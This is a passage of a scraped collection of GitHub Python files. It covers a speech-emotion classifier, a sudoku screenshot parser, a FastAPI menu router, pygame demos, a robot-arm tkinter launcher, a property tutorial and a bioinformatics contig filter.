(4)/Actor_15/03-01-01-01-02-01-15.wav\"\r\nfeature=extract_feature(files,mfcc=True,chroma=True,mel=True)\r\n\r\nimport time\r\nx_train,x_test,y_train,y_test=load_data(test_size=0.25)\r\nprint((x_train.shape[0],x_test.shape[0]))\r\n\r\nprint(f'Feature extracted:{x_train.shape[1]}')\r\nmodel=MLPClassifier(alpha=0.01,batch_size=256,epsilon=1e-08,hidden_layer_sizes=(300,),learning_rate='adaptive',max_iter=500)\r\nmodel.fit(x_train,y_train)\r\ny_pred=model.predict(x_test)\r\n\r\n\r\naccuracy = accuracy_score(y_true=y_test, y_pred=y_pred)\r\nprint(\"Accuracy: {:.2f}%\".format(accuracy * 100))\r\nprint(y_pred)\r\n\r\ny_pre=model.predict([feature])\r\nprint(y_pre)\r\ntime.sleep(2)\r\n\r\nif y_pre[0]==\"calm\":\r\n  print( \"CALM !\")\r\nelif y_pre[0]==\"neutral\":\r\n  print(\"NEUTRAL !\")\r\nelif y_pre[0]==\"happy\":\r\n  print( \"HAPPY !\")\r\nelif y_pre[0]==\"sad\":\r\n  print( \"SAD !\")\r\nelif y_pre[0]==\"angry\":\r\n  print( \"ANGRRY !\")\r\nelif y_pre[0]==\"fearful\":\r\n  print(\"FEARFUL !\")\r\nelif y_pre[0]==\"disgust\":\r\n  print(\"DISGUST !\")\r\nelse:\r\n  print(\"SURPRISED !\")\r\n\r\n\r\n","repo_name":"Ash7010/speech-emotion-regonization","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2770,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"4433805342","text":"# -*- coding: UTF-8 -*-\r\n# 根据【特定格式的】图片输入 提取数独\r\n# \r\n\r\nimport os\r\nimport glob\r\n\r\nimport cv2\r\nimport numpy as np\r\n\r\ndef FindSudukuMannually(inpath):\r\n    image = cv2.imread(inpath)\r\n    width, height, color = image.shape\r\n    print(width, height, color)\r\n    cv2.namedWindow(\"COI\", cv2.WINDOW_NORMAL)\r\n    def onMouse(evt, x, y, flags, param):\r\n        if evt == cv2.EVENT_LBUTTONDOWN:\r\n            param[\"drawing\"]=True\r\n            param[\"start_pos\"]=(x,y)\r\n        elif evt == cv2.EVENT_MOUSEMOVE and flags&cv2.EVENT_FLAG_LBUTTON:\r\n            param[\"curr_pos\"]=(x,y)\r\n            if param[\"drawing\"]:\r\n                frame = cv2.rectangle(image.copy(), param[\"start_pos\"], (x, y), (0, 255, 0), 0)\r\n                cv2.imshow(\"COI\", frame)\r\n        elif evt == cv2.EVENT_LBUTTONUP:\r\n            (x1, y1)=param[\"start_pos\"]\r\n            (x2, y2)=param[\"curr_pos\"]\r\n            X=min(x1,x2)\r\n            Y=min(y1,y2)\r\n            W=max(x1-x2,x2-x1)\r\n            H=max(y1-y2,y2-y1)\r\n            print(X,Y,W,H)\r\n\r\n    param = {}\r\n    cv2.setMouseCallback(\"COI\", onMouse, param)\r\n    cv2.imshow(\"COI\", image)\r\n    cv2.waitKey(0)\r\n    \r\n#FindCOI('data\\\\Screenshot_2019-01-13-03-55-33-977_com.appcup.sukudo.png')\r\nX,Y,W,H = 125,172,836,830\r\n\r\ndef ClipToSudoku(in_path, out_path, X,Y,W,H):\r\n    '''将图片的 X,Y,W,H 截取出来'''\r\n    image = cv2.imread(in_path)\r\n    coi = image[Y:Y+H,X:X+W]\r\n    cv2.imwrite(out_path, coi)\r\n\r\n\r\ndef SliptToNum(sudoku_path, no):\r\n    '''将sudoku图片拆分为9*9张图片数字'''\r\n    image = cv2.imread(sudoku_path)\r\n    hight, width, _ = image.shape\r\n    hight_size = hight//9\r\n    width_size = width//9\r\n    seq = 0\r\n    for i in range(0,9):\r\n        for j in range(0,9):\r\n            num = image[i*hight_size:i*hight_size+hight_size, j*width_size:j*width_size+width_size]\r\n            cv2.imwrite(\"{}_{}.png\".format(no,seq), num)\r\n            seq+=1\r\n\r\nTRAIN_DATA_PATH = 'train_data'\r\nSUDOKU_IAMGES = 'sudoku_images'\r\nINPUT_DATA_PATH = 'data'\r\n    \r\ndef buildTrainData():   \r\n    # 将输入数据中的所有图片，切出数独部分，并拆分为9*9的小文件\r\n    fi = 0\r\n    for f in glob.iglob(os.path.join(INPUT_DATA_PATH,\"*\")):\r\n        print(f)\r\n        fi+=1\r\n        image = cv2.imread(f)\r\n        coi = image[Y:Y+H,X:X+W]\r\n        cv2.imwrite(os.path.join(SUDOKU_IAMGES,\"{}.png\".format(fi)), coi)\r\n        hight, width, _ = coi.shape\r\n        hight_size = hight//9\r\n        width_size = width//9\r\n        seq = 0\r\n        for i in range(0,9):\r\n            for j in range(0,9):\r\n                num = coi[i*hight_size:i*hight_size+hight_size, j*width_size:j*width_size+width_size]\r\n                #num = num[10:-10,10:-10]\r\n                cv2.imwrite(os.path.join(TRAIN_DATA_PATH,\"{}_{}.png\".format(fi,seq)), num)\r\n                seq+=1\r\n#buildTrainData()\r\n\r\n# 与本项目中DigitRecognition类似，试用cv2中自带KNN分类\r\ndef buildModel():\r\n    # Features\r\n    labels = list(range(0,10))\r\n    samples =  np.empty((0,100),dtype=np.float32)\r\n    responses = []\r\n    for label in labels:\r\n        for f in glob.iglob(os.path.join(TRAIN_DATA_PATH,str(label),\"*\")):\r\n            im = cv2.imread(f)\r\n            im = im[10:-10,5:-5]\r\n            im = cv2.resize(im, None, fx=5,fy=5, interpolation=cv2.INTER_CUBIC)\r\n            gray = cv2.cvtColor(im,cv2.COLOR_BGR2GRAY)\r\n            roismall = cv2.resize(gray,(10,10))\r\n            sample = roismall.reshape((1,100))\r\n            sample = np.array(sample,np.float32)\r\n            samples = np.append(samples,sample,0)\r\n            responses.append(label)\r\n    responses = np.array(responses,np.float32)\r\n    responses = responses.reshape((responses.size,1))\r\n    shuffle_ind = np.arange(len(responses))\r\n    np.random.shuffle(shuffle_ind)\r\n    samples = samples[shuffle_ind]\r\n    responses = responses[shuffle_ind]\r\n    split = int(len(responses)*0.8)\r\n    # 建模\r\n    model = cv2.ml.KNearest_create()\r\n    model.train(samples[:split],cv2.ml.ROW_SAMPLE, responses[:split])\r\n    error_cnt = 0\r\n    for i in range(split,len(responses)):\r\n        retval, results, neigh_resp, dists = MODEL.findNearest(samples[i].reshape(1,-1), k = 1)\r\n        if responses[i]!=retval:\r\n            error_cnt+=1\r\n    print(\"建模完成,测试错误率\", error_cnt, error_cnt/(len(responses)-split))\r\n    return model\r\n\r\n\r\nMODEL = buildModel()\r\n    \r\ndef RecognizeDigit(im):\r\n    '''输入原始（单个）图片，返回其数字\r\n    None代表没有数字'''\r\n    im = im[10:-10,5:-5]\r\n    im = cv2.resize(im, None, fx=5,fy=5, interpolation=cv2.INTER_CUBIC)\r\n    gray = cv2.cvtColor(im,cv2.COLOR_BGR2GRAY)\r\n    roismall = cv2.resize(gray,(10,10))\r\n    sample = roismall.reshape((1,100))\r\n    sample = np.array(sample,np.float32)\r\n    retval, results, neigh_resp, dists = MODEL.findNearest(sample, k = 1)\r\n    return int(retval)\r\n\r\ndef BuildSudoku(image_path):\r\n    '''输入应用截图的路径，输入Sudoku表示 (行,列,值) 的list'''\r\n    sudoku_repr=[]\r\n    image = cv2.imread(image_path)\r\n    sudoku_image = image[Y:Y+H,X:X+W]\r\n    hight, width, _ = sudoku_image.shape\r\n    hight_size = hight//9\r\n    width_size = width//9\r\n    for i in range(0,9):\r\n        for j in range(0,9):\r\n            digit_image = sudoku_image[i*hight_size:i*hight_size+hight_size, j*width_size:j*width_size+width_size]\r\n            digit = RecognizeDigit(digit_image)\r\n            if digit:\r\n                sudoku_repr.append((str(i+1),str(j+1), str(digit)))\r\n    return sudoku_repr\r\n\r\n\r\nsudoku = BuildSudoku('data\\\\Screenshot_2019-01-25-07-36-25-111_com.appcup.sukudo.png')\r\nimport SudokuSolver\r\nv = SudokuSolver.SolveSudoku(sudoku)\r\nSudokuSolver.SudokuPrint(v)","repo_name":"linxiaohui/CodeRepoPy","sub_path":"Sudoku/SudokuParser.com.appcup.sukudo.py","file_name":"SudokuParser.com.appcup.sukudo.py","file_ext":"py","file_size_in_byte":5678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"21439670619","text":"def check(n):\n  a = int(n/100)\n  b = int((n-a*100)/10)\n  c = int((n-a*100-b*10))\n  fst = a-b\n  scn = b-c\n  if fst == scn:\n    return 1\n\n  return 0\n\nresult = 0\nnum = int(input())\nif num < 100 :\n  result = num\nelse:\n  result += 99\n\nwhile num > 99:\n  result += check(num)\n  num -= 1\n\nprint(result)","repo_name":"Sayoon210/baekjoonSolvation","sub_path":"1065.py","file_name":"1065.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"228159704","text":"import uuid\n\nfrom fastapi import APIRouter, HTTPException, Depends\nfrom starlette import status\n\nfrom .dependencies import get_dish_service\nfrom . import schemas\nfrom .service import DishService\n\ndish_router = APIRouter()\n\n\n@dish_router.post(\n    \"/{menu_id}/submenus/{submenu_id}/dishes\",\n    response_model=schemas.Dish,\n    status_code=status.HTTP_201_CREATED,\n)\ndef create_dish(\n    menu_id: uuid.UUID,\n    submenu_id: uuid.UUID,\n    dish: schemas.DishCreate,\n    dish_service: DishService = Depends(get_dish_service),\n):\n    new_dish = dish_service.create_dish(menu_id, submenu_id, dish)\n    if new_dish is None:\n        raise HTTPException(status_code=201, detail=\"Dish already exists.\")\n    return new_dish\n\n\n@dish_router.get(\n    \"/{menu_id}/submenus/{submenu_id}/dishes\",\n    response_model=list[schemas.Dish],\n)\ndef read_dishes(dish_service: DishService = Depends(get_dish_service)):\n    db_dishes = dish_service.get_dishes()\n    return db_dishes\n\n\n@dish_router.get(\n    \"/{menu_id}/submenus/{submenu_id}/dishes/{dish_id}\",\n    response_model=schemas.Dish,\n)\ndef read_dish(\n    dish_id: uuid.UUID, dish_service: DishService = Depends(get_dish_service)\n):\n    db_dish = dish_service.get_dish(dish_id)\n    if db_dish is None:\n        raise HTTPException(status_code=404, detail=\"Dish is not found.\")\n    return db_dish\n\n\n@dish_router.delete(\"/{menu_id}/submenus/{submenu_id}/dishes/{dish_id}\")\ndef delete_dish(\n    menu_id: uuid.UUID,\n    submenu_id: uuid.UUID,\n    dish_id: uuid.UUID,\n    dish_service: DishService = Depends(get_dish_service),\n):\n    db_dish_status = dish_service.delete_dish(menu_id, submenu_id, dish_id)\n    if db_dish_status is None:\n        raise HTTPException(status_code=404, detail=\"Dish not found.\")\n    if db_dish_status == 1:\n        return {\"detail\": \"Dish is deleted successfully.\"}\n    raise HTTPException(status_code=204, detail=\"Dish not deleted.\")\n\n\n@dish_router.patch(\n    \"/{menu_id}/submenus/{submenu_id}/dishes/{dish_id}\",\n    response_model=schemas.Dish,\n)\ndef update_submenu(\n    dish_id: uuid.UUID,\n    dish: dict,\n    dish_service: DishService = Depends(get_dish_service),\n):\n    db_dish = dish_service.update_dish(dish_id, dish)\n    if db_dish == -1:\n        raise HTTPException(status_code=404, detail=\"Dish not found\")\n    if db_dish == 0:\n        raise HTTPException(status_code=200, detail=\"Title is already exist.\")\n\n    return db_dish\n","repo_name":"bimka/menu_catalog","sub_path":"app/src/dishes/router.py","file_name":"router.py","file_ext":"py","file_size_in_byte":2392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"31470739683","text":"import pygame as pg\nimport math\n\npg.init()\nsize = width, height = 500, 500\nrad = 200\nscreen = pg.display.set_mode(size)\npoints = []\n\nfor i in range(1, 361):\n    x = int(math.cos(math.radians(i)) * rad) + height // 2\n    y = int(math.sin(math.radians(i)) * rad) + height // 2\n    points.append((x, y))\n\nstep = 0\npause = False\nrunning = True\ncolor = pg.Color('green')\nhcolor = color.hsva\n\nwhile running:\n    for event in pg.event.get():\n        if event.type == pg.QUIT:\n            running = False\n        if event.type == pg.KEYDOWN and event.key == pg.K_SPACE and not pause:\n            pause = True\n        elif event.type == pg.KEYDOWN and event.key == pg.K_SPACE and pause:\n            pause = False\n    if not pause:\n        hcolor = ((hcolor[0] + 0.1) % 256, hcolor[1], hcolor[2], hcolor[3])\n        screen.fill((0, 0, 0))\n        for i in range(360):\n            pg.draw.aaline(screen, hcolor, points[i], points[(round(i * step)) % 360])\n        pg.draw.circle(screen, hcolor, (width // 2, height // 2), rad, 1)\n        pg.display.flip()\n        step += 0.01\n\npg.quit()","repo_name":"tsukikomiata/multiplication_table","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"74227326647","text":"matrix = [[1, 2, 3, 4, 8],\n          [6, 7, 8, 9, 10],\n          [8, 12, 8, 14, 15]]\n\ndelete_num = 8\ndelete_index = set()\n\nfor j in matrix:\n    for i in range(len(j)):\n        if j[i] == delete_num:\n            delete_index.add(i)\n\ns = list(delete_index)\ns.sort(reverse=True)\n\nfor k in matrix:\n    for v in s:\n        del k[v]\n\nprint(matrix)\n","repo_name":"ZloiGaMeR/PythonCourseATIS","sub_path":"Practice/ismartynenko/practice4_6_matrix.py","file_name":"practice4_6_matrix.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"25373903216","text":"from flask import Flask, jsonify\nfrom flask_cors import CORS\n\nfrom recommendation import RecommendationSystem\n\napp = Flask(__name__)\nCORS(app, resources={r\"/recommendation\": {\"origins\": \"http://localhost:3000\"}})\n\ndb_path = '../database/abitmotivation.db'\n\n@app.route('/recommendation', methods=['GET'])\ndef get_recommendation():\n    try:\n        recommendation_system = RecommendationSystem(db_path)\n        input_document_index = 0\n        recommendations = recommendation_system.run_recommendation(input_document_index)\n        recommendations = [int(item) for item in recommendations]\n\n        return jsonify(recommendations)\n\n    except Exception as e:\n        return jsonify(e)\n\nif __name__ == '__main__':\n    app.run(port=8000)","repo_name":"Scylidose/aBitMotivation","sub_path":"backend/python/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"34570881358","text":"\"\"\" basic operators\n\"\"\"\n\nimport time\n\n\nclass Operator:\n    def __init__(self, op=None):\n        self.ops = [op] if op is not None else list()\n\n    def __add__(self, op2):\n        assert isinstance(op2, Operator)\n        op_list = self.ops.copy()\n        op_list += op2.ops\n        op_ret = Operator()\n        op_ret.ops = op_list\n        return op_ret\n\n    def __call__(self, times=1):\n        do(*self.ops, times=times)\n\n\nclass Sleeper(Operator):\n    def __init__(self, time_sleep=1.0):\n        self.time_sleep = time_sleep\n        super().__init__(self)\n\n    def __call__(self):\n        time.sleep(self.time_sleep)\n\n\nclass Printer(Operator):\n    def __init__(self, words = \"hello world!\", end=\"\\n\"):\n        self.words = words\n        self.end = end\n        super().__init__(self)\n    \n    def __call__(self):\n        print(self.words, end=self.end)\n\n\ndef do(*ops, times=1):\n    if len(ops) == 0:\n        pass\n\n    if len(ops) == 1:\n        if isinstance(times, int) and times >= 0:\n            for _ in range(times):\n                for sub_op in ops[0].ops: sub_op()\n        else:\n            while True:\n                for sub_op in ops[0].ops: sub_op()\n    \n    else:\n        if isinstance(times, int) and times >= 0:\n            for _ in range(times):\n                for sub_op in ops: do(sub_op)\n        else:\n            while True:\n                for sub_op in ops: do(sub_op)\n\n\n\nif __name__ == \"__main__\":\n    \"\"\" examples for calling ops\n    \"\"\"\n    from operator import add\n    from functools import reduce\n    \n    do(Printer(\"wait for 1s\") + Sleeper(1.0) + \n       Printer(\"wait for 2s\") + Sleeper(2.0) + \n       Printer(\"wait for 3s\") + Sleeper(3.0) + \n       Printer(\"wait for 4s\") + Sleeper(4.0)   )\n    Printer(\"===========================\")()\n\n    do(reduce(add, [Printer(\"wait for 1s\"), Sleeper(1.0)] * 4))\n    Printer(\"===========================\")()\n\n    do(sum([Printer(\"wait for 1s\"), Sleeper(1.0), \n            Printer(\"wait for 2s\"), Sleeper(2.0)], \n           Operator()))\n    Printer(\"===========================\")()\n\n    do(Printer(\"wait for 1s\"), Sleeper(1.0), \n       Printer(\"wait for 2s\"), Sleeper(2.0), )\n    Printer(\"===========================\")()\n\n    do(*([Printer(\"wait for 1s\"), Sleeper(1.0)] * 3))\n    Printer(\"===========================\")()\n\n    do(Printer(\"wait for 1s\"), Sleeper(1.0), times=5)\n    Printer(\"===========================\")()\n\n    do(Printer(\"wait for 1s\") + Sleeper(1.0) + Printer(\"wait for 1s\"), Sleeper(1.0), times=3)\n    Printer(\"===========================\")()\n\n    combined_ops = Printer(\"wait for 1s\") + Sleeper(1.0) + \\\n                   Printer(\"wait for 2s\") + Sleeper(2.0)\n    combined_ops()\n    Printer(\"===========================\")()\n\n    combined_ops(times=3)\n    Printer(\"===========================\")()\n\n","repo_name":"Karbo123/recon","sub_path":"recon/utils/ops.py","file_name":"ops.py","file_ext":"py","file_size_in_byte":2784,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"77"}
+{"seq_id":"12542207743","text":"import sys\nimport json\n\ndef main():\n    data = json.load(sys.stdin)['dataArray']\n    sys.stdout.write(\n\"\"\"import { Item } from './types';\n\nexport const items: Item[] = [\n\"\"\")\n    for d in data:\n        icon = d['IconPath'].split('/')[-1]\n        models = []\n        modelIndex = d['ModelIndex']\n        if modelIndex > 0:\n            models = range(modelIndex, modelIndex + d['ModelCount'])\n        models = ', '.join(str(m) for m in models)\n        g = d['GridIndex']\n        if g == 0:\n            continue\n        sys.stdout.write(f\"    {{id: {d['ID']}, models: [{models}], name: '{d['Name']}', icon: '{icon}', grid: [{g // 1000}, {(g // 100) % 10}, {g % 100}]}},\\n\")\n    sys.stdout.write('];\\n')\n\nif __name__ == '__main__':\n    main()\n","repo_name":"huww98/dsp_blueprint_editor","sub_path":"src/data/gen_items.py","file_name":"gen_items.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"77"}
+{"seq_id":"26596352152","text":"# Matt Piazza\n# 25 FEB 2015\n# solution to: https://www.hackerrank.com/contests/projecteuler/challenges/euler013\n\n# C is not the language for this problem\nn = eval(input())\ntot = 0\nfor i in range(n):\n   tot += eval(input())\n   \nprint(str(tot)[:10])\n","repo_name":"piazzamp/hackerrank","sub_path":"euler/013bigsum.py","file_name":"013bigsum.py","file_ext":"py","file_size_in_byte":248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"3319854779","text":"import pygame\nimport os\nimport time\nfrom os import path\nfrom config import *\n\n\ndef story_tell(n):  # Показывание катсцены после уровня\n    img_dir = os.path.join(path.dirname(__file__), 'sprites')\n    WIDTH = 1500\n    HEIGHT = 843\n    BLACK = (0, 0, 0)\n    pygame.init()\n    screen = pygame.display.set_mode((WIDTH, HEIGHT))\n    pygame.display.set_caption(\"My Game\")\n    running = 0\n    if n == 1:\n        t = \"fon1.jpg\"\n    elif n == 2:\n        t = \"fon2.jpg\"\n    elif n == 3:\n        t = \"fon3.jpg\"\n    elif n == 4:\n        t = \"fon4.jpg\"\n    elif n == 5:\n        t = \"fon5.jpg\"\n    elif n == -1:\n        t = \"game-over.jpg\"\n    while running <= 5:\n        screen.fill(BLACK)\n        background = pygame.image.load(os.path.join(img_dir, t)).convert()\n        background_rect = background.get_rect()\n        screen.blit(background, background_rect)\n        pygame.display.flip()\n        time.sleep(1)\n        running = running + 1\n","repo_name":"Kracha0907/YandexProjectPacman","sub_path":"zastavka.py","file_name":"zastavka.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"16534891279","text":"import tkinter as tk\nimport os\nfrom tkinter import * \nfrom PIL import Image,ImageTk\nimport subprocess as sp\nimport sys\nsys.path.insert(1,os.path.join(os.path.dirname(os.path.abspath(__file__)), 'main_scripts'))\nimport arm\n\nclass GUI():\n\n    def __init__(self):\n        self.current_directory = os.path.dirname(os.path.abspath(__file__))\n        self.filepath_document = os.path.join(self.current_directory , 'gui_files/documentation.pdf' )\n        main_code = os.path.join(self.current_directory, 'main_scripts')\n        main_code = os.path.join(main_code, 'main_code.py')\n        self.command = ['python',str(main_code)]\n        self.process_running = False\n        self.root = tk.Tk() # instantiating the window\n        self.entry1 = StringVar() #assigning a variable for the text entry\n        self.title = Label(self.root,text = 'Motion Controlled Robot',bg= 'black', fg = 'White',font = ('Verdana',27))\n        im_path = os.path.join(self.current_directory, 'gui_files')\n        im_path = os.path.join(im_path,'pic.png')\n        im = Image.open(im_path)\n        im = im.resize((180, 180),Image.ANTIALIAS)\n        self.ph = ImageTk.PhotoImage(im)\n        self.image = Label(self.root, image=self.ph, highlightthickness = 0, bd = 0)\n        self.coms = Label(self.root,bg ='black', fg = 'white', text = 'COM Port: ',font = ('Verdana',15))\n        self.coms_button = Button(self.root,text = 'OK',width = 9, height = 1,command = self.comport)\n        self.steam = Button(self.root,text = 'Run Program',bg = 'Green',command = self.launchMain)\n        self.stop_btn = Button(self.root,text = 'STOP',bg = 'Red',command = self.stop)\n        self.help_btn = Button(self.root,text = 'Help Guide',command = self.helper)\n\n    def setup(self):\n        self.root.poll = True #toggle variable\n        self.root.title('Motion Controll Robot GUI') #naming the window\n        self.root.configure(background='black')\n        self.root.minsize(width=100, height=100)\n        self.root.geometry('450x500+0+0') #setting the size of the window\n        self.root.resizable(False,False)\n        self.root.protocol(\"WM_DELETE_WINDOW\", self.disable_event)\n        self.title.pack(anchor = CENTER)\n        #bringing the image.\n        self.image.pack(side = 'top')\n        self.coms.pack(anchor = CENTER)\n        Entry(self.root,width = 30,textvariable = self.entry1,justify = 'center').pack(anchor = CENTER) \n        self.coms_button.pack(anchor = CENTER,padx = 2, pady = 3)\n        self.steam.place(x = 90, y = 320,width = 100, height = 50)\n        self.stop_btn.place(x = 250, y = 320,width = 100, height = 50)\n        self.help_btn.place(x = 170, y = 390,width = 100, height = 50)\n    \n    def disable_event(self):\n        print(\"Please use the STOP button to exit!\")\n        pass\n\n    def stop(self):\n        if(self.process_running):   \n            sp.Popen.terminate(self.process)\n        print(\"Exiting the program!\")\n        self.root.poll = False\n        self.root.destroy() #closes the window\n        \n    #launches the Helper guide \n    def helper(self):\n        print('Help guide launching...')\n        os.startfile(self.filepath_document)\n\n    #COM port setter \n    def comport(self):\n        if(self.process_running):\n            print(\"Process is running, cannot change Serial connection.\")\n            return None\n        self.entry1\n        content = self.entry1.get()\n        if(content):\n            arm.setPort(content)\n        print('Attempted serial connection to ' + arm.getPort())\n\n    def launchMain(self):\n        if(not self.process_running):\n            self.process = sp.Popen(self.command)\n            self.process_running = True\n\n    def launchGUI(self):\n        self.setup()\n        self.root.mainloop()\n\ndef main():\n    gui = GUI()\n    gui.launchGUI()\n\nif __name__ == '__main__':\n\tmain()","repo_name":"smijal/HTC_Vive_roboticArm","sub_path":"program_launcher.py","file_name":"program_launcher.py","file_ext":"py","file_size_in_byte":3798,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
+{"seq_id":"15565127518","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Date    : 2018-01-30 11:08:33\n# @Author  : anxi.xue (xueanxi@163.com)\n\nimport os\n\n\nclass Student():\n\n    def __init__(self, name):\n        self.name = name\n        self._score = 0\n\n    @property\n    def score(self):  # 加上 @property 装饰器，就把score方法，变成了一个属性\n        return self._score\n\n    @score.setter  # 加上这个标签，实例可以通过 bob.score = 60 这样给方法赋值\n    def score(self, score):\n        if score < 101 and score > 0:\n            self._score = score\n        else:\n            raise 'score must be 0~100'\n\nbob = Student('bob')\nprint(\"1: {} s score is {}\".format(bob.name, bob.score))\nprint(\"2: {} s score is {}\".format(bob.name, bob._score))\n\n\nbob.score = 60\nprint(\"3: {} s score is {}\".format(bob.name, bob.score))\n# bob.score = 1000#这里会报错   'score must be 0~100'\n\n\n# 作业题 请利用@property给一个Screen对象加上width和height属性，以及一个只读属性resolution：\n\nclass Screen():\n\n    def __init__(self):\n        self._width = 0\n        self._height = 0\n        self._resolution = 0\n\n    @property\n    def width(self):\n        return self._width\n\n    @width.setter\n    def width(self, width):\n        self._width = width\n\n    @property\n    def height(self):\n        return self._height\n\n    @height.setter\n    def height(self, height):\n        self._height = height\n\n    @property\n    def resolution(self):\n        return self._height * self._width\n\n\n# 测试:\ns = Screen()\ns.width = 1024\ns.height = 768\nprint('resolution =', s.resolution)\nif s.resolution == 786432:\n    print('测试通过!')\nelse:\n    print('测试失败!')\n","repo_name":"xueanxi/learnAi","sub_path":"test/73_property_把类的方法变成属性一样.py","file_name":"73_property_把类的方法变成属性一样.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"5327277969","text":"from PIL.Image import Image\nimport pandas as pd\nfrom model import Attacker\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\n\n\n# config\ncuda = True\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\n\n# 加载label名称，即category\ncategory = pd.read_csv(\"./data/categories.csv\")\ncategory = category.loc[:, 'CategoryName'].to_numpy()\n\n# 攻击\nattacker = Attacker(cuda=cuda)\nepsilons = [0.1, 0.01]\naccuracies, examples = [], []\nfor eps in epsilons:\n    ex, acc = attacker.attack(eps)\n    accuracies.append(acc)\n    examples.append(ex)\n\n# 攻击样例可视化\ncnt = 0\nplt.figure(figsize=(30, 30))\nfor i in range(len(epsilons)):\n    for j in range(len(examples[i])):\n        pred, perturbed_pred, image, perturbed_image = examples[i][j]\n        # 原图\n        cnt+=1\n        plt.subplot(len(epsilons), len(examples[0]) * 2, cnt)\n        plt.xticks([], [])\n        plt.yticks([], [])\n        if j == 0:\n            plt.ylabel(\"eps: {}\".format(epsilons[i]), fontsize=14)\n        plt.title(\"original: {}\".format(category[pred].split(',')[0]))\n        plt.imshow(np.transpose(image, (1, 2, 0)))\n        # 攻击结果\n        cnt += 1\n        plt.subplot(len(epsilons), len(examples[0]) * 2, cnt)\n        plt.xticks([], [])\n        plt.yticks([], [])\n        plt.title(\"attack: {}\".format(category[perturbed_pred].split(',')[0]))\n        plt.imshow(np.transpose(perturbed_image, (1, 2, 0)))\nplt.tight_layout()\nplt.show()\n","repo_name":"chouxianyu/LHY_ML2020_Codes","sub_path":"hw6_AdversarialAttack/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1421,"program_lang":"python","lang":"en","doc_type":"code","stars":69,"dataset":"github-code","pt":"77"}
+{"seq_id":"7104243547","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport os, sys\n\nexample = ['right', 'left', 'up', 'down']\n\n# enumrate  demo1\nfor i in range(len(example)):\n    print(i, example[i])\n\n# enumrate  demo2\nfor i, j in enumerate(example):\n    print(i, j)\n\n# enumrate  demo3\nexample_dict = {'left': '<', 'right': '>', 'up': '^', 'down': 'v', }\n[print(i, j) for i, j in enumerate(example_dict)]\n\n# enumrate  demo4\nnew_dict = dict(enumerate(example))\nprint(new_dict)","repo_name":"CipherN/Python_intermediate","sub_path":"intermediate_02_enumerate.py","file_name":"intermediate_02_enumerate.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"38805759163","text":"#!/usr/bin/env python\n\n#######################################################################\n#\n#   contigFilter.py\n#   2015 James Stapleton\n#\n#   This script parses a list of synthetic reads,\n#       and writes those those longer than minlength and\n#       shorter than maxlength to a new file\n#\n#######################################################################\n\nimport argparse\n\n\ndef main(contig_file, minlength, maxlength, outfile):\n\n    with open(contig_file, 'r') as contiglist, open (outfile, 'w') as filtered:\n        trigger = 0\n        contig = []\n        for line in contiglist:\n            #if line is a barcode, save it\n            if line[:4] == '>Bar':\n                barcode = line\n            # If line is blank, end of barcode.\n            # If triggered, write contig and start over.\n            elif line[0] == '\\n':\n                if trigger:\n                    if barcode:\n                        filtered.write(barcode)\n                    for stuff in contig:\n                        filtered.write(stuff)\n                    filtered.write('\\n')\n                trigger = 0\n                contig = []\n            # If line is a contig head, check length.\n            # If big, trigger and start contig\n            elif line[:5] == '>NODE':\n                if trigger:\n                    if barcode:\n                        filtered.write(barcode)\n                        barcode = 0\n                    for stuff in contig:\n                        filtered.write(stuff)\n                    trigger = 0\n                contig = []\n                bases = int(line.split('_')[3])\n                if bases > int(minlength) and bases < int(maxlength):\n                    trigger = 1\n                    contig.append(line)\n            #if line is sequence, append to growing contig\n            else:\n                if trigger:\n                    contig.append(line)\n\n    return 0\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument('contig_file')\n    parser.add_argument('--minlength', default=0,\n            help='minimum contig length to be written')\n    parser.add_argument('--maxlength', default=99999999999999999999,\n            help='maximum contig length to be written')\n    parser.add_argument('--outfile', default='filtered_contigs.txt',\n            help='output file name')\n    args = parser.parse_args()\n\n    main(args.contig_file, args.minlength, args.maxlength, args.outfile)\n","repo_name":"jstapleton/synthetic_reads","sub_path":"Scripts/contigFilter.py","file_name":"contigFilter.py","file_ext":"py","file_size_in_byte":2463,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
